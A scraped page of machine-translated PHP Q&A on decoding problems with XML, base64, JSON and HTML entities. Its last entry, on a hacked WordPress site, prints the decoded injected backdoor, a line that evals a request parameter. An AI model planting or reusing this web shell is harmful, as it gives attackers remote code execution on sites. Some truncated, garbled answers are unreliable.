jjzjj

php - 来自xml的php utf-8解码返回问号

我在使用xml时遇到了一些问题。我知道这是个很难回答的问题,但我找到的答案并不能解决我的问题。问题是,当我使用phpdomdocument在xml文件中添加e或_或其他特殊字符时,它会将e保存为xe9,将_保存为xe4。我不知道这是否可以,但当我想显示输出时,它会在这里显示问号。我试了很多。就像在phpdomdocument中删除和添加de-xml头中的编码一样。我还尝试使用file_get_contents和phputf-8udecode来获取xml。我试过使用isointead,但没有解决我的问题。相反,我有时会遇到php-xml解析错误。我一定做错了什么,但是什么?这是我的问题,

php base64_decode 奇怪的输出

我有一个来自base64_decode函数的非常奇怪的输出。输出是一个长度为18的字符串,但是当我var_dump字符串时......长度是32!这会影响我为这个字符串应用的preg_match函数。知道为什么吗?$input_line=base64_decode('OQA3ADgAMAA5ADgAMgA3ADQAMwA2ADAANwA5ADAAMAAwADAA');var_dump($input_line);输出string(36)"978098274360790000"问候 最佳答案 该字符串有很多不可打印的字符(NUL字节)。

PHP: json_decode(json_encode($xml));

我在阅读一些代码时看到了下面这行$obj=json_decode(json_encode($xml));$xml来自simplexml_load_string所以对我来说这行相当于$obj=$xml;看似不必要的编码和解码可能是什么原因? 最佳答案 如果$xml是一个SimpleXml对象,您不能直接访问它的某些属性。这是一个用于将SimpleXml对象转换为经典对象并访问其所有属性的技巧:)此外,您可以传递一个bool参数来获取数组而不是对象:json_decode(json_encode($xml),true);

php - 使用 json 和 php 获取 Youtube 视频

我正在尝试从YoutubeAPI获取视频url和标题。一切正常,但我无法显示数据-我想仅使用json和php显示视频的url和标题。我的代码: 最佳答案 对于这个例子,你真的不需要foreach循环,因为只有一个返回结果,但是对于多个结果,你会想要做类似下面的事情......foreach($decode['feed']['entry']as$entry){echo''.$entry['title']['$t'].'';} 关于php-使用json和php获取Youtube视频,我们在S

php - json_decode() 在网络服务器上不工作

我有一个php脚本,它可以在我的本地主机服务器上完美运行。当我将所有内容从本地主机移动到Web服务器时,我的json_decode不工作。我已经尝试了json_encode但仍然没有。这种行为可能有什么问题?我的代码:$productsArr=json_encode($_GET['object']);$_GET['object']是经过验证的JSON。我最后的选择可能是magic_quotes但我不知道我是否可以使用cPanel更改PHP.ini文件,这是我对服务器的唯一访问权限。如果有任何想法,我将不胜感激。编辑:这是我的网址的一部分:RequestURL:http://someth

php - 为什么 html_entity_decode() 适用于第一个字符串,而不适用于第二个?

$string1='CottonLanyard½"';$string2='OrganicCottonLanyard⅝"';echohtml_entity_decode($string1);//CottonLanyard½"echohtml_entity_decode($string2);//OrganicCottonLanyard⅝"不确定如何解决这个问题? 最佳答案 它适用于HTML5文档类型flag.echohtml_entity_decode($string2,ENT_HTML5);/

php - json_decode 安全

与eval()相比,PHP的json_decode()是否安全?eval()函数可以运行代码,但json_decode()也可以吗? 最佳答案 自JSON只能表示数据,json_decode不会执行php代码。但是,就像任何其他函数一样,json_decode的实现可能存在错误并允许任意(二进制,而不是(仅)php)代码执行,例如bufferoverflow.由于相对简单且使用广泛的代码,这种情况不太可能发生,您无法或应该在php程序中做任何事情来缓解这种情况。 关于php-json_d

php - 从 json_decode 输出中获取返回值

所以将其作为浏览器输出的url。{"data":{"detections":[[{"language":"en","isReliable":false,"confidence":0.5714286}]]}}现在我需要从返回值中获取“en”值我试过:$from=$json->data->detections->language;还是不行。我在这里错过了什么?$json=json_decode(file_get_contents($detect)); 最佳答案 是$json->data->detections[0][0]->langua

php - 是否存在关于 json_decode 在有效 JSON 字符串上返回 NULL 的 PHP 5.3 错误?

我为一个friend的wordpress网站编写了一个API,该网站依赖JSONAPI插件来获取她最近发布的帖子的JSON提要。它完美地工作了几个月,但几天前,当她的共享主机切换到PHP5.3时,它完全停止工作(当然,他们没有提醒用户——他们为什么要提醒?)我仔细研究了一下,发现在接受JSON字符串并将解码后的JSON对象返回给另一个函数的代码部分中存在一个奇怪的错误。以前,代码(有效,我发誓!)是这样工作的:$json_string=file_get_contents($url_to_json_string);returnjson_decode($json_string);这开始返回

php - 有人可以解码这个脏代码吗?

我friend的一个wordpress网站被人黑了,他们把下面的代码放在所有模板文件的头部。http://pastebin.com/dYcQ1Gri我尝试用base64解码器解码它。但是输出看起来很奇怪。你们能告诉我这是什么类型的编码吗? 最佳答案 是一系列的eval+base64加密。解码后的代码为:if(isset($_REQUEST['r'.'e'.'y'.'yo']))eval(stripslashes($_REQUEST['r'.'e'.'y'.'y'.'o']));我是这样得到的:将整个代码复制到您的文本编辑器中提供\/